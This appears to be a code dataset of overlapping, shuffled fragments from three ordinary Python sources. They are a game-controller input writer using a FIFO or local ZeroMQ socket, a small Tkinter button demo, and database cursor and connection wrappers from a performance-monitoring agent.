"or button in UsefullButton self.write('PRESS {}'.format(button), buffering) def release_button(self, button, buffering=False): \"\"\"Release a",
"in [0, 1], with 0.5 as neutral.\"\"\" #assert stick in Stick #assert 0",
"Exception: pass self.message = \"\" def flush(self): if self.windows: self.pipe.send_string(self.message) else: self.pipe.write(self.message) self.message",
"not buffering: self.flush() def press_button(self, button, buffering=False): \"\"\"Press a button.\"\"\" #assert button in",
"UsefullButton #assert 0 <= amount <= 1 self.write('SET {} {:.2f}'.format(trigger, amount), buffering) def",
"self.write('SET {} {:.2f}'.format(trigger, amount), buffering) def tilt_stick(self, stick, x, y, buffering=False): \"\"\"Tilt a",
"to address %s\" % (self.path, address)) self.pipe.bind(address) else: try: os.unlink(self.path) except: pass os.mkfifo(self.path)",
"\"\"\"Press a button.\"\"\" #assert button in Button or button in UsefullButton self.write('PRESS {}'.format(button),",
"<= y <= 1 self.write('SET {} {:.2f} {:.2f}'.format(stick, x, y), buffering) def reset(self):",
"\"tcp://127.0.0.1:%d\" % self.port print(\"Binding pad %s to address %s\" % (self.path, address)) self.pipe.bind(address)",
"buffering: self.flush() def press_button(self, button, buffering=False): \"\"\"Press a button.\"\"\" #assert button in Button",
"#assert stick in Stick #assert 0 <= x <= 1 and 0 <=",
"flush(self): if self.windows: self.pipe.send_string(self.message) else: self.pipe.write(self.message) self.message = \"\" def write(self, command, buffering=False):",
"as f: f.write(str(self.port)) self.pipe = context.socket(zmq.PUSH) address = \"tcp://127.0.0.1:%d\" % self.port print(\"Binding pad",
"trigger in Trigger or trigger in UsefullButton #assert 0 <= amount <= 1",
"super(Pad, self).__init__() \"\"\"Create, but do not open the fifo.\"\"\" self.pipe = None self.path",
"in Stick #assert 0 <= x <= 1 and 0 <= y <=",
"import platform class Pad(Default): \"\"\"Writes out controller inputs.\"\"\" action_dim = 50 def __init__(self,",
"<= 1 self.write('SET {} {:.2f} {:.2f}'.format(stick, x, y), buffering) def reset(self): for button",
"def __init__(self, path, player_id, port=None): super(Pad, self).__init__() \"\"\"Create, but do not open the",
"= 50 def __init__(self, path, player_id, port=None): super(Pad, self).__init__() \"\"\"Create, but do not",
"import zmq import os import platform class Pad(Default): \"\"\"Writes out controller inputs.\"\"\" action_dim",
"config.loader import Default from input.enums import Stick, Button, Trigger from input.action_space import ControllerState",
"+ str(player_id) self.windows = port is not None self.port = port self.player_id =",
"self.windows: self.pipe.close() try: os.unlink(self.path) except Exception: pass self.message = \"\" def flush(self): if",
"'\\n' if not buffering: self.flush() def press_button(self, button, buffering=False): \"\"\"Press a button.\"\"\" #assert",
"UsefullButton self.write('RELEASE {}'.format(button), buffering) def press_trigger(self, trigger, amount, buffering=False): \"\"\"Press a trigger. Amount",
"amount), buffering) def tilt_stick(self, stick, x, y, buffering=False): \"\"\"Tilt a stick. x and",
"<= 1 and 0 <= y <= 1 self.write('SET {} {:.2f} {:.2f}'.format(stick, x,",
"if not self.windows: self.pipe.close() try: os.unlink(self.path) except Exception: pass self.message = \"\" def",
"and y are in [0, 1], with 0.5 as neutral.\"\"\" #assert stick in",
"self.release_button(button) for trigger in Trigger: self.press_trigger(trigger, 0) for stick in Stick: self.tilt_stick(stick, 0.5,",
"\"\"\"Press a trigger. Amount is in [0, 1], with 0 as released.\"\"\" #assert",
"input.action_space import ControllerState import zmq import os import platform class Pad(Default): \"\"\"Writes out",
"Button or button in UsefullButton self.write('PRESS {}'.format(button), buffering) def release_button(self, button, buffering=False): \"\"\"Release",
"trigger, amount, buffering=False): \"\"\"Press a trigger. Amount is in [0, 1], with 0",
"stick, x, y, buffering=False): \"\"\"Tilt a stick. x and y are in [0,",
"except: pass os.mkfifo(self.path) self.pipe = open(self.path, 'w', buffering=1) def unbind(self): if not self.windows:",
"{:.2f} {:.2f}'.format(stick, x, y), buffering) def reset(self): for button in Button: self.release_button(button) for",
"command, buffering=False): self.message += command + '\\n' if not buffering: self.flush() def press_button(self,",
"buffering=False): \"\"\"Release a button.\"\"\" #assert button in Button or button in UsefullButton self.write('RELEASE",
"action_dim = 50 def __init__(self, path, player_id, port=None): super(Pad, self).__init__() \"\"\"Create, but do",
"button in Button or button in UsefullButton self.write('PRESS {}'.format(button), buffering) def release_button(self, button,",
"self.message += command + '\\n' if not buffering: self.flush() def press_button(self, button, buffering=False):",
"button in Button: self.release_button(button) for trigger in Trigger: self.press_trigger(trigger, 0) for stick in",
"__init__(self, path, player_id, port=None): super(Pad, self).__init__() \"\"\"Create, but do not open the fifo.\"\"\"",
"context = zmq.Context() with open(self.path, 'w') as f: f.write(str(self.port)) self.pipe = context.socket(zmq.PUSH) address",
"x, y), buffering) def reset(self): for button in Button: self.release_button(button) for trigger in",
"def press_trigger(self, trigger, amount, buffering=False): \"\"\"Press a trigger. Amount is in [0, 1],",
"\"\"\"Create, but do not open the fifo.\"\"\" self.pipe = None self.path = path",
"buffering=False): \"\"\"Tilt a stick. x and y are in [0, 1], with 0.5",
"pad %s to address %s\" % (self.path, address)) self.pipe.bind(address) else: try: os.unlink(self.path) except:",
"but do not open the fifo.\"\"\" self.pipe = None self.path = path +",
"a button.\"\"\" #assert button in Button or button in UsefullButton self.write('PRESS {}'.format(button), buffering)",
"0 as released.\"\"\" #assert trigger in Trigger or trigger in UsefullButton #assert 0",
"\"\"\"Release a button.\"\"\" #assert button in Button or button in UsefullButton self.write('RELEASE {}'.format(button),",
"self.write('RELEASE {}'.format(button), buffering) def press_trigger(self, trigger, amount, buffering=False): \"\"\"Press a trigger. Amount is",
"self.write('PRESS {}'.format(button), buffering) def release_button(self, button, buffering=False): \"\"\"Release a button.\"\"\" #assert button in",
"self.pipe.send_string(self.message) else: self.pipe.write(self.message) self.message = \"\" def write(self, command, buffering=False): self.message += command",
"address = \"tcp://127.0.0.1:%d\" % self.port print(\"Binding pad %s to address %s\" % (self.path,",
"= \"\" self.action_space = [] self.previous_state = ControllerState() def connect(self): if self.windows: context",
"y, buffering=False): \"\"\"Tilt a stick. x and y are in [0, 1], with",
"'georges_' + str(player_id) self.windows = port is not None self.port = port self.player_id",
"Button: self.release_button(button) for trigger in Trigger: self.press_trigger(trigger, 0) for stick in Stick: self.tilt_stick(stick,",
"buffering=1) def unbind(self): if not self.windows: self.pipe.close() try: os.unlink(self.path) except Exception: pass self.message",
"[0, 1], with 0.5 as neutral.\"\"\" #assert stick in Stick #assert 0 <=",
"port=None): super(Pad, self).__init__() \"\"\"Create, but do not open the fifo.\"\"\" self.pipe = None",
"print(\"Binding pad %s to address %s\" % (self.path, address)) self.pipe.bind(address) else: try: os.unlink(self.path)",
"+= command + '\\n' if not buffering: self.flush() def press_button(self, button, buffering=False): \"\"\"Press",
"in [0, 1], with 0 as released.\"\"\" #assert trigger in Trigger or trigger",
"{}'.format(button), buffering) def release_button(self, button, buffering=False): \"\"\"Release a button.\"\"\" #assert button in Button",
"= port self.player_id = player_id self.message = \"\" self.action_space = [] self.previous_state =",
"or trigger in UsefullButton #assert 0 <= amount <= 1 self.write('SET {} {:.2f}'.format(trigger,",
"in UsefullButton #assert 0 <= amount <= 1 self.write('SET {} {:.2f}'.format(trigger, amount), buffering)",
"import os import platform class Pad(Default): \"\"\"Writes out controller inputs.\"\"\" action_dim = 50",
"out controller inputs.\"\"\" action_dim = 50 def __init__(self, path, player_id, port=None): super(Pad, self).__init__()",
"\"\" self.action_space = [] self.previous_state = ControllerState() def connect(self): if self.windows: context =",
"{:.2f}'.format(stick, x, y), buffering) def reset(self): for button in Button: self.release_button(button) for trigger",
"import Default from input.enums import Stick, Button, Trigger from input.action_space import ControllerState import",
"is not None self.port = port self.player_id = player_id self.message = \"\" self.action_space",
"self.message = \"\" self.action_space = [] self.previous_state = ControllerState() def connect(self): if self.windows:",
"f: f.write(str(self.port)) self.pipe = context.socket(zmq.PUSH) address = \"tcp://127.0.0.1:%d\" % self.port print(\"Binding pad %s",
"Trigger or trigger in UsefullButton #assert 0 <= amount <= 1 self.write('SET {}",
"release_button(self, button, buffering=False): \"\"\"Release a button.\"\"\" #assert button in Button or button in",
"is in [0, 1], with 0 as released.\"\"\" #assert trigger in Trigger or",
"button in UsefullButton self.write('PRESS {}'.format(button), buffering) def release_button(self, button, buffering=False): \"\"\"Release a button.\"\"\"",
"<= amount <= 1 self.write('SET {} {:.2f}'.format(trigger, amount), buffering) def tilt_stick(self, stick, x,",
"neutral.\"\"\" #assert stick in Stick #assert 0 <= x <= 1 and 0",
"buffering=False): \"\"\"Press a button.\"\"\" #assert button in Button or button in UsefullButton self.write('PRESS",
"= \"\" def write(self, command, buffering=False): self.message += command + '\\n' if not",
"in Button or button in UsefullButton self.write('PRESS {}'.format(button), buffering) def release_button(self, button, buffering=False):",
"%s\" % (self.path, address)) self.pipe.bind(address) else: try: os.unlink(self.path) except: pass os.mkfifo(self.path) self.pipe =",
"self.pipe = None self.path = path + 'georges_' + str(player_id) self.windows = port",
"Button, Trigger from input.action_space import ControllerState import zmq import os import platform class",
"from input.action_space import ControllerState import zmq import os import platform class Pad(Default): \"\"\"Writes",
"platform class Pad(Default): \"\"\"Writes out controller inputs.\"\"\" action_dim = 50 def __init__(self, path,",
"fifo.\"\"\" self.pipe = None self.path = path + 'georges_' + str(player_id) self.windows =",
"path + 'georges_' + str(player_id) self.windows = port is not None self.port =",
"os.mkfifo(self.path) self.pipe = open(self.path, 'w', buffering=1) def unbind(self): if not self.windows: self.pipe.close() try:",
"= zmq.Context() with open(self.path, 'w') as f: f.write(str(self.port)) self.pipe = context.socket(zmq.PUSH) address =",
"if self.windows: context = zmq.Context() with open(self.path, 'w') as f: f.write(str(self.port)) self.pipe =",
"with 0 as released.\"\"\" #assert trigger in Trigger or trigger in UsefullButton #assert",
"try: os.unlink(self.path) except: pass os.mkfifo(self.path) self.pipe = open(self.path, 'w', buffering=1) def unbind(self): if",
"\"\"\"Tilt a stick. x and y are in [0, 1], with 0.5 as",
"buffering=False): \"\"\"Press a trigger. Amount is in [0, 1], with 0 as released.\"\"\"",
"Stick #assert 0 <= x <= 1 and 0 <= y <= 1",
"address)) self.pipe.bind(address) else: try: os.unlink(self.path) except: pass os.mkfifo(self.path) self.pipe = open(self.path, 'w', buffering=1)",
"trigger in UsefullButton #assert 0 <= amount <= 1 self.write('SET {} {:.2f}'.format(trigger, amount),",
"write(self, command, buffering=False): self.message += command + '\\n' if not buffering: self.flush() def",
"else: try: os.unlink(self.path) except: pass os.mkfifo(self.path) self.pipe = open(self.path, 'w', buffering=1) def unbind(self):",
"\"\" def flush(self): if self.windows: self.pipe.send_string(self.message) else: self.pipe.write(self.message) self.message = \"\" def write(self,",
"except Exception: pass self.message = \"\" def flush(self): if self.windows: self.pipe.send_string(self.message) else: self.pipe.write(self.message)",
"self.flush() def press_button(self, button, buffering=False): \"\"\"Press a button.\"\"\" #assert button in Button or",
"def release_button(self, button, buffering=False): \"\"\"Release a button.\"\"\" #assert button in Button or button",
"def reset(self): for button in Button: self.release_button(button) for trigger in Trigger: self.press_trigger(trigger, 0)",
"[] self.previous_state = ControllerState() def connect(self): if self.windows: context = zmq.Context() with open(self.path,",
"Pad(Default): \"\"\"Writes out controller inputs.\"\"\" action_dim = 50 def __init__(self, path, player_id, port=None):",
"context.socket(zmq.PUSH) address = \"tcp://127.0.0.1:%d\" % self.port print(\"Binding pad %s to address %s\" %",
"buffering) def tilt_stick(self, stick, x, y, buffering=False): \"\"\"Tilt a stick. x and y",
"amount <= 1 self.write('SET {} {:.2f}'.format(trigger, amount), buffering) def tilt_stick(self, stick, x, y,",
"Amount is in [0, 1], with 0 as released.\"\"\" #assert trigger in Trigger",
"zmq import os import platform class Pad(Default): \"\"\"Writes out controller inputs.\"\"\" action_dim =",
"open(self.path, 'w') as f: f.write(str(self.port)) self.pipe = context.socket(zmq.PUSH) address = \"tcp://127.0.0.1:%d\" % self.port",
"= context.socket(zmq.PUSH) address = \"tcp://127.0.0.1:%d\" % self.port print(\"Binding pad %s to address %s\"",
"player_id, port=None): super(Pad, self).__init__() \"\"\"Create, but do not open the fifo.\"\"\" self.pipe =",
"def press_button(self, button, buffering=False): \"\"\"Press a button.\"\"\" #assert button in Button or button",
"trigger. Amount is in [0, 1], with 0 as released.\"\"\" #assert trigger in",
"{} {:.2f}'.format(trigger, amount), buffering) def tilt_stick(self, stick, x, y, buffering=False): \"\"\"Tilt a stick.",
"buffering) def reset(self): for button in Button: self.release_button(button) for trigger in Trigger: self.press_trigger(trigger,",
"not open the fifo.\"\"\" self.pipe = None self.path = path + 'georges_' +",
"import Stick, Button, Trigger from input.action_space import ControllerState import zmq import os import",
"self.message = \"\" def flush(self): if self.windows: self.pipe.send_string(self.message) else: self.pipe.write(self.message) self.message = \"\"",
"open the fifo.\"\"\" self.pipe = None self.path = path + 'georges_' + str(player_id)",
"{:.2f}'.format(trigger, amount), buffering) def tilt_stick(self, stick, x, y, buffering=False): \"\"\"Tilt a stick. x",
"0 <= amount <= 1 self.write('SET {} {:.2f}'.format(trigger, amount), buffering) def tilt_stick(self, stick,",
"os.unlink(self.path) except: pass os.mkfifo(self.path) self.pipe = open(self.path, 'w', buffering=1) def unbind(self): if not",
"as neutral.\"\"\" #assert stick in Stick #assert 0 <= x <= 1 and",
"in Button or button in UsefullButton self.write('RELEASE {}'.format(button), buffering) def press_trigger(self, trigger, amount,",
"in UsefullButton self.write('RELEASE {}'.format(button), buffering) def press_trigger(self, trigger, amount, buffering=False): \"\"\"Press a trigger.",
"else: self.pipe.write(self.message) self.message = \"\" def write(self, command, buffering=False): self.message += command +",
"Button or button in UsefullButton self.write('RELEASE {}'.format(button), buffering) def press_trigger(self, trigger, amount, buffering=False):",
"\"\"\"Writes out controller inputs.\"\"\" action_dim = 50 def __init__(self, path, player_id, port=None): super(Pad,",
"or button in UsefullButton self.write('RELEASE {}'.format(button), buffering) def press_trigger(self, trigger, amount, buffering=False): \"\"\"Press",
"command + '\\n' if not buffering: self.flush() def press_button(self, button, buffering=False): \"\"\"Press a",
"port is not None self.port = port self.player_id = player_id self.message = \"\"",
"#assert 0 <= amount <= 1 self.write('SET {} {:.2f}'.format(trigger, amount), buffering) def tilt_stick(self,",
"% (self.path, address)) self.pipe.bind(address) else: try: os.unlink(self.path) except: pass os.mkfifo(self.path) self.pipe = open(self.path,",
"self.action_space = [] self.previous_state = ControllerState() def connect(self): if self.windows: context = zmq.Context()",
"button.\"\"\" #assert button in Button or button in UsefullButton self.write('RELEASE {}'.format(button), buffering) def",
"self.windows: self.pipe.send_string(self.message) else: self.pipe.write(self.message) self.message = \"\" def write(self, command, buffering=False): self.message +=",
"0 <= y <= 1 self.write('SET {} {:.2f} {:.2f}'.format(stick, x, y), buffering) def",
"x <= 1 and 0 <= y <= 1 self.write('SET {} {:.2f} {:.2f}'.format(stick,",
"(self.path, address)) self.pipe.bind(address) else: try: os.unlink(self.path) except: pass os.mkfifo(self.path) self.pipe = open(self.path, 'w',",
"<gh_stars>1-10 from config.loader import Default from input.enums import Stick, Button, Trigger from input.action_space",
"def connect(self): if self.windows: context = zmq.Context() with open(self.path, 'w') as f: f.write(str(self.port))",
"try: os.unlink(self.path) except Exception: pass self.message = \"\" def flush(self): if self.windows: self.pipe.send_string(self.message)",
"def write(self, command, buffering=False): self.message += command + '\\n' if not buffering: self.flush()",
"stick in Stick #assert 0 <= x <= 1 and 0 <= y",
"x and y are in [0, 1], with 0.5 as neutral.\"\"\" #assert stick",
"UsefullButton self.write('PRESS {}'.format(button), buffering) def release_button(self, button, buffering=False): \"\"\"Release a button.\"\"\" #assert button",
"= port is not None self.port = port self.player_id = player_id self.message =",
"do not open the fifo.\"\"\" self.pipe = None self.path = path + 'georges_'",
"if self.windows: self.pipe.send_string(self.message) else: self.pipe.write(self.message) self.message = \"\" def write(self, command, buffering=False): self.message",
"1 and 0 <= y <= 1 self.write('SET {} {:.2f} {:.2f}'.format(stick, x, y),",
"= None self.path = path + 'georges_' + str(player_id) self.windows = port is",
"button.\"\"\" #assert button in Button or button in UsefullButton self.write('PRESS {}'.format(button), buffering) def",
"y), buffering) def reset(self): for button in Button: self.release_button(button) for trigger in Trigger:",
"#assert button in Button or button in UsefullButton self.write('PRESS {}'.format(button), buffering) def release_button(self,",
"self.port = port self.player_id = player_id self.message = \"\" self.action_space = [] self.previous_state",
"self.pipe.write(self.message) self.message = \"\" def write(self, command, buffering=False): self.message += command + '\\n'",
"y <= 1 self.write('SET {} {:.2f} {:.2f}'.format(stick, x, y), buffering) def reset(self): for",
"str(player_id) self.windows = port is not None self.port = port self.player_id = player_id",
"and 0 <= y <= 1 self.write('SET {} {:.2f} {:.2f}'.format(stick, x, y), buffering)",
"a button.\"\"\" #assert button in Button or button in UsefullButton self.write('RELEASE {}'.format(button), buffering)",
"[0, 1], with 0 as released.\"\"\" #assert trigger in Trigger or trigger in",
"self).__init__() \"\"\"Create, but do not open the fifo.\"\"\" self.pipe = None self.path =",
"+ 'georges_' + str(player_id) self.windows = port is not None self.port = port",
"with 0.5 as neutral.\"\"\" #assert stick in Stick #assert 0 <= x <=",
"50 def __init__(self, path, player_id, port=None): super(Pad, self).__init__() \"\"\"Create, but do not open",
"controller inputs.\"\"\" action_dim = 50 def __init__(self, path, player_id, port=None): super(Pad, self).__init__() \"\"\"Create,",
"pass self.message = \"\" def flush(self): if self.windows: self.pipe.send_string(self.message) else: self.pipe.write(self.message) self.message =",
"x, y, buffering=False): \"\"\"Tilt a stick. x and y are in [0, 1],",
"+ '\\n' if not buffering: self.flush() def press_button(self, button, buffering=False): \"\"\"Press a button.\"\"\"",
"{} {:.2f} {:.2f}'.format(stick, x, y), buffering) def reset(self): for button in Button: self.release_button(button)",
"for trigger in Trigger: self.press_trigger(trigger, 0) for stick in Stick: self.tilt_stick(stick, 0.5, 0.5)",
"= ControllerState() def connect(self): if self.windows: context = zmq.Context() with open(self.path, 'w') as",
"zmq.Context() with open(self.path, 'w') as f: f.write(str(self.port)) self.pipe = context.socket(zmq.PUSH) address = \"tcp://127.0.0.1:%d\"",
"if not buffering: self.flush() def press_button(self, button, buffering=False): \"\"\"Press a button.\"\"\" #assert button",
"Default from input.enums import Stick, Button, Trigger from input.action_space import ControllerState import zmq",
"buffering) def release_button(self, button, buffering=False): \"\"\"Release a button.\"\"\" #assert button in Button or",
"address %s\" % (self.path, address)) self.pipe.bind(address) else: try: os.unlink(self.path) except: pass os.mkfifo(self.path) self.pipe",
"self.pipe = open(self.path, 'w', buffering=1) def unbind(self): if not self.windows: self.pipe.close() try: os.unlink(self.path)",
"{}'.format(button), buffering) def press_trigger(self, trigger, amount, buffering=False): \"\"\"Press a trigger. Amount is in",
"def unbind(self): if not self.windows: self.pipe.close() try: os.unlink(self.path) except Exception: pass self.message =",
"#assert 0 <= x <= 1 and 0 <= y <= 1 self.write('SET",
"path, player_id, port=None): super(Pad, self).__init__() \"\"\"Create, but do not open the fifo.\"\"\" self.pipe",
"def tilt_stick(self, stick, x, y, buffering=False): \"\"\"Tilt a stick. x and y are",
"as released.\"\"\" #assert trigger in Trigger or trigger in UsefullButton #assert 0 <=",
"import ControllerState import zmq import os import platform class Pad(Default): \"\"\"Writes out controller",
"with open(self.path, 'w') as f: f.write(str(self.port)) self.pipe = context.socket(zmq.PUSH) address = \"tcp://127.0.0.1:%d\" %",
"amount, buffering=False): \"\"\"Press a trigger. Amount is in [0, 1], with 0 as",
"tilt_stick(self, stick, x, y, buffering=False): \"\"\"Tilt a stick. x and y are in",
"inputs.\"\"\" action_dim = 50 def __init__(self, path, player_id, port=None): super(Pad, self).__init__() \"\"\"Create, but",
"a stick. x and y are in [0, 1], with 0.5 as neutral.\"\"\"",
"self.port print(\"Binding pad %s to address %s\" % (self.path, address)) self.pipe.bind(address) else: try:",
"button, buffering=False): \"\"\"Press a button.\"\"\" #assert button in Button or button in UsefullButton",
"released.\"\"\" #assert trigger in Trigger or trigger in UsefullButton #assert 0 <= amount",
"<= x <= 1 and 0 <= y <= 1 self.write('SET {} {:.2f}",
"% self.port print(\"Binding pad %s to address %s\" % (self.path, address)) self.pipe.bind(address) else:",
"stick. x and y are in [0, 1], with 0.5 as neutral.\"\"\" #assert",
"input.enums import Stick, Button, Trigger from input.action_space import ControllerState import zmq import os",
"a trigger. Amount is in [0, 1], with 0 as released.\"\"\" #assert trigger",
"not None self.port = port self.player_id = player_id self.message = \"\" self.action_space =",
"press_trigger(self, trigger, amount, buffering=False): \"\"\"Press a trigger. Amount is in [0, 1], with",
"self.pipe.bind(address) else: try: os.unlink(self.path) except: pass os.mkfifo(self.path) self.pipe = open(self.path, 'w', buffering=1) def",
"= open(self.path, 'w', buffering=1) def unbind(self): if not self.windows: self.pipe.close() try: os.unlink(self.path) except",
"port self.player_id = player_id self.message = \"\" self.action_space = [] self.previous_state = ControllerState()",
"buffering) def press_trigger(self, trigger, amount, buffering=False): \"\"\"Press a trigger. Amount is in [0,",
"Trigger from input.action_space import ControllerState import zmq import os import platform class Pad(Default):",
"1], with 0 as released.\"\"\" #assert trigger in Trigger or trigger in UsefullButton",
"player_id self.message = \"\" self.action_space = [] self.previous_state = ControllerState() def connect(self): if",
"ControllerState import zmq import os import platform class Pad(Default): \"\"\"Writes out controller inputs.\"\"\"",
"class Pad(Default): \"\"\"Writes out controller inputs.\"\"\" action_dim = 50 def __init__(self, path, player_id,",
"= \"\" def flush(self): if self.windows: self.pipe.send_string(self.message) else: self.pipe.write(self.message) self.message = \"\" def",
"are in [0, 1], with 0.5 as neutral.\"\"\" #assert stick in Stick #assert",
"unbind(self): if not self.windows: self.pipe.close() try: os.unlink(self.path) except Exception: pass self.message = \"\"",
"'w', buffering=1) def unbind(self): if not self.windows: self.pipe.close() try: os.unlink(self.path) except Exception: pass",
"in Trigger or trigger in UsefullButton #assert 0 <= amount <= 1 self.write('SET",
"connect(self): if self.windows: context = zmq.Context() with open(self.path, 'w') as f: f.write(str(self.port)) self.pipe",
"<= 1 self.write('SET {} {:.2f}'.format(trigger, amount), buffering) def tilt_stick(self, stick, x, y, buffering=False):",
"self.previous_state = ControllerState() def connect(self): if self.windows: context = zmq.Context() with open(self.path, 'w')",
"f.write(str(self.port)) self.pipe = context.socket(zmq.PUSH) address = \"tcp://127.0.0.1:%d\" % self.port print(\"Binding pad %s to",
"self.windows: context = zmq.Context() with open(self.path, 'w') as f: f.write(str(self.port)) self.pipe = context.socket(zmq.PUSH)",
"pass os.mkfifo(self.path) self.pipe = open(self.path, 'w', buffering=1) def unbind(self): if not self.windows: self.pipe.close()",
"= player_id self.message = \"\" self.action_space = [] self.previous_state = ControllerState() def connect(self):",
"def flush(self): if self.windows: self.pipe.send_string(self.message) else: self.pipe.write(self.message) self.message = \"\" def write(self, command,",
"os import platform class Pad(Default): \"\"\"Writes out controller inputs.\"\"\" action_dim = 50 def",
"button, buffering=False): \"\"\"Release a button.\"\"\" #assert button in Button or button in UsefullButton",
"#assert button in Button or button in UsefullButton self.write('RELEASE {}'.format(button), buffering) def press_trigger(self,",
"#assert trigger in Trigger or trigger in UsefullButton #assert 0 <= amount <=",
"= \"tcp://127.0.0.1:%d\" % self.port print(\"Binding pad %s to address %s\" % (self.path, address))",
"'w') as f: f.write(str(self.port)) self.pipe = context.socket(zmq.PUSH) address = \"tcp://127.0.0.1:%d\" % self.port print(\"Binding",
"self.pipe.close() try: os.unlink(self.path) except Exception: pass self.message = \"\" def flush(self): if self.windows:",
"button in UsefullButton self.write('RELEASE {}'.format(button), buffering) def press_trigger(self, trigger, amount, buffering=False): \"\"\"Press a",
"in UsefullButton self.write('PRESS {}'.format(button), buffering) def release_button(self, button, buffering=False): \"\"\"Release a button.\"\"\" #assert",
"button in Button or button in UsefullButton self.write('RELEASE {}'.format(button), buffering) def press_trigger(self, trigger,",
"self.write('SET {} {:.2f} {:.2f}'.format(stick, x, y), buffering) def reset(self): for button in Button:",
"1 self.write('SET {} {:.2f}'.format(trigger, amount), buffering) def tilt_stick(self, stick, x, y, buffering=False): \"\"\"Tilt"
] |
[
"window = Tk() window.title(\"Special Midterm Exam in OOP\") window.geometry(\"300x200+20+10\") def changecolor(): button.configure(bg=\"yellow\") button",
"tkinter import * window = Tk() window.title(\"Special Midterm Exam in OOP\") window.geometry(\"300x200+20+10\") def",
"Tk() window.title(\"Special Midterm Exam in OOP\") window.geometry(\"300x200+20+10\") def changecolor(): button.configure(bg=\"yellow\") button = Button(window,",
"window.title(\"Special Midterm Exam in OOP\") window.geometry(\"300x200+20+10\") def changecolor(): button.configure(bg=\"yellow\") button = Button(window, text",
"button.configure(bg=\"yellow\") button = Button(window, text = \"Click to Change Color\", command= changecolor) button.place(relx=.5,",
"import * window = Tk() window.title(\"Special Midterm Exam in OOP\") window.geometry(\"300x200+20+10\") def changecolor():",
"window.geometry(\"300x200+20+10\") def changecolor(): button.configure(bg=\"yellow\") button = Button(window, text = \"Click to Change Color\",",
"in OOP\") window.geometry(\"300x200+20+10\") def changecolor(): button.configure(bg=\"yellow\") button = Button(window, text = \"Click to",
"= Tk() window.title(\"Special Midterm Exam in OOP\") window.geometry(\"300x200+20+10\") def changecolor(): button.configure(bg=\"yellow\") button =",
"def changecolor(): button.configure(bg=\"yellow\") button = Button(window, text = \"Click to Change Color\", command=",
"<gh_stars>0 from tkinter import * window = Tk() window.title(\"Special Midterm Exam in OOP\")",
"Midterm Exam in OOP\") window.geometry(\"300x200+20+10\") def changecolor(): button.configure(bg=\"yellow\") button = Button(window, text =",
"changecolor(): button.configure(bg=\"yellow\") button = Button(window, text = \"Click to Change Color\", command= changecolor)",
"* window = Tk() window.title(\"Special Midterm Exam in OOP\") window.geometry(\"300x200+20+10\") def changecolor(): button.configure(bg=\"yellow\")",
"Button(window, text = \"Click to Change Color\", command= changecolor) button.place(relx=.5, y=100, anchor=\"center\") window.mainloop()",
"button = Button(window, text = \"Click to Change Color\", command= changecolor) button.place(relx=.5, y=100,",
"Exam in OOP\") window.geometry(\"300x200+20+10\") def changecolor(): button.configure(bg=\"yellow\") button = Button(window, text = \"Click",
"from tkinter import * window = Tk() window.title(\"Special Midterm Exam in OOP\") window.geometry(\"300x200+20+10\")",
"= Button(window, text = \"Click to Change Color\", command= changecolor) button.place(relx=.5, y=100, anchor=\"center\")",
"OOP\") window.geometry(\"300x200+20+10\") def changecolor(): button.configure(bg=\"yellow\") button = Button(window, text = \"Click to Change"
] |
[
"return setattr(self._apm_wrap_conn, key, value) @staticmethod def get_host_info(method_info, conn_kwargs): host_info = {} if constants.host",
"def __init__(self, conn, comp, host_info): self._apm_wrap_conn = conn self._apm_comp_name = comp self._apm_host_info =",
"in ['_apm_wrap_cursor', '_apm_wrap_conn', 'execute', 'executemany']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value)",
"_apm_check_and_wrap(self, attr): if hasattr(self._apm_wrap_cursor, attr): actual = getattr(self._apm_wrap_cursor, attr) attr_info = { constants.method_str",
"len(args)>0: if is_non_empty_string(args[0]): tracker.set_info({'query' : args[0]}) class ConnectionProxy(): def __init__(self, conn, comp, host_info):",
"in method_info: host_info[constants.port] = method_info[constants.default_port] return host_info @staticmethod def instrument_conn(original, module, method_info): def",
"def __getattr__(self, key): if key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_cursor, key)",
"attr, constants.component_str : self._apm_wrap_conn._apm_comp_name, constants.extract_info : self._apm_extract_query, constants.is_db_tracker : True } wrapper =",
"conn_kwargs[constants.host] elif constants.default_host in method_info: host_info[constants.host] = conn_kwargs[constants.host] if constants.port in conn_kwargs: host_info[constants.port]",
"None: comp = method_info.get(constants.component_str, '') host_info = ConnectionProxy.get_host_info(method_info, kwargs) new_conn = ConnectionProxy(conn, comp,",
"setattr(self, attr, wrapper) def _apm_extract_query(self, tracker, args=(), kwargs={}, return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold = get_agent().get_threshold()",
"**kwargs) cur = CursorProxy(real_cursor, self) return cur def __getattr__(self, key): if key in",
"= conn self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany') def __getattr__(self, key): if key in self.__dict__: return getattr(self,",
"@staticmethod def get_host_info(method_info, conn_kwargs): host_info = {} if constants.host in conn_kwargs: host_info[constants.host] =",
"key) return getattr(self._apm_wrap_conn, key) def __setattr__(self, key, value): if( key in ['_apm_wrap_conn', '_apm_comp_name',",
"= self._apm_wrap_conn.cursor(*args, **kwargs) cur = CursorProxy(real_cursor, self) return cur def __getattr__(self, key): if",
"apminsight.agentfactory import get_agent from .wrapper import default_wrapper class CursorProxy(): def __init__(self, cursor, conn):",
"= ConnectionProxy.get_host_info(method_info, kwargs) new_conn = ConnectionProxy(conn, comp, host_info) return new_conn return conn return",
"= CursorProxy(real_cursor, self) return cur def __getattr__(self, key): if key in self.__dict__: return",
"= getattr(self._apm_wrap_cursor, attr) attr_info = { constants.method_str : attr, constants.component_str : self._apm_wrap_conn._apm_comp_name, constants.extract_info",
"conn_kwargs: host_info[constants.port] = str(conn_kwargs[constants.port]) elif constants.default_port in method_info: host_info[constants.port] = method_info[constants.default_port] return host_info",
"conn_kwargs: host_info[constants.host] = conn_kwargs[constants.host] elif constants.default_host in method_info: host_info[constants.host] = conn_kwargs[constants.host] if constants.port",
"conn, comp, host_info): self._apm_wrap_conn = conn self._apm_comp_name = comp self._apm_host_info = host_info def",
"= conn_kwargs[constants.host] if constants.port in conn_kwargs: host_info[constants.port] = str(conn_kwargs[constants.port]) elif constants.default_port in method_info:",
"method_info): def conn_wrapper(*args, **kwargs): conn = original(*args, **kwargs) if conn is not None:",
": True } wrapper = default_wrapper(actual, 'Cursor', attr_info) setattr(self, attr, wrapper) def _apm_extract_query(self,",
"} wrapper = default_wrapper(actual, 'Cursor', attr_info) setattr(self, attr, wrapper) def _apm_extract_query(self, tracker, args=(),",
